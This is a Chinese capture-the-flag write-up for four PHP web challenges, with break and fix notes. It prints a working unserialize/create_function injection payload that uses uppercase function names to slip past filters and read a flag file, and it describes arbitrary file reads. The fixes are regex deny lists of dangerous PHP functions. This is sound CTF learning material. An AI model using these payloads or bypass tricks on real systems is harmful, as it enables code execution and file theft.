web_unserialize_game
break
具体思路见以前写的wp
https://syunaht.com/p/3645611024.html#toc-heading-10
其中利用了create_function代码注入就可以RCE。
因为检测很多个单个字母,且linux命令对大小写敏感,所以用大写的PHP命令进行文件读取。
<?php
if (isset($_GET['p'])) {
$p = unserialize($_GET['p']);
}
class Game
{
private $a;
protected $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
}
}
// "fl4g1" [7]=> string(5) "fl4g2"
echo urlencode(serialize(new Game("create_function", ";}VAR_DUMP(FILE_GET_CONTENTS('/fl4g1'));/*")));
fix
加个大小写检测即可
if (preg_match_all("(eval|dl|ls|p|escape|er|str|cat|flag|file|ay|or|ftp|dict|\.\.|h|w|exec|s|open)/i", $a) > 0) die("Hacker!");
if (preg_match_all("(find|filter|c|pa|proc|dir|regexp|n|alter|load|grep|o|file|t|w|insert|sort|h|sy|\.\.|array|sh|touch|e|php)/i", $b) > 0) die("fl4g?");
web_just
fix
随手访问www.zip
发现源码
common.php文件里有十分明显的RCE
eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
改写为常规if判断即可。
if ($matches[1][$i]) {
$flag = "if";
}else{
$flag = "else";
}
web_so_easy_4_u
break
在avatarhash处有任意文件读取
再访问/api/get.ph
解个码即可。
fix
先是读文件,把所有源码都读出来
发现/util/img2base.php
可以读文件
/api/get.php
处进行了简单的路径拼接。
在/api/save.php
里接收数据:
所以加点严格判断:
if (isset($_POST['avatarHash']) && $_POST['avatarHash'] != "" && strlen($_POST['avatarHash']) == 32) {
if (preg_match("/flag|\.|\//i", $_POST['avatarHash'])) {
die();
}
$_SESSION['avatar'] = $_POST['avatarHash'];
}
web_backdoor
fix
给传入的两个参数加了点正则检测
$pattern = "select|insert|update|delete|union|load_file|outfile|dumpfile|sub|hex";
$pattern .= "|file_put_contents|fwrite|curl|system|eval|assert|flag";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|",$pattern);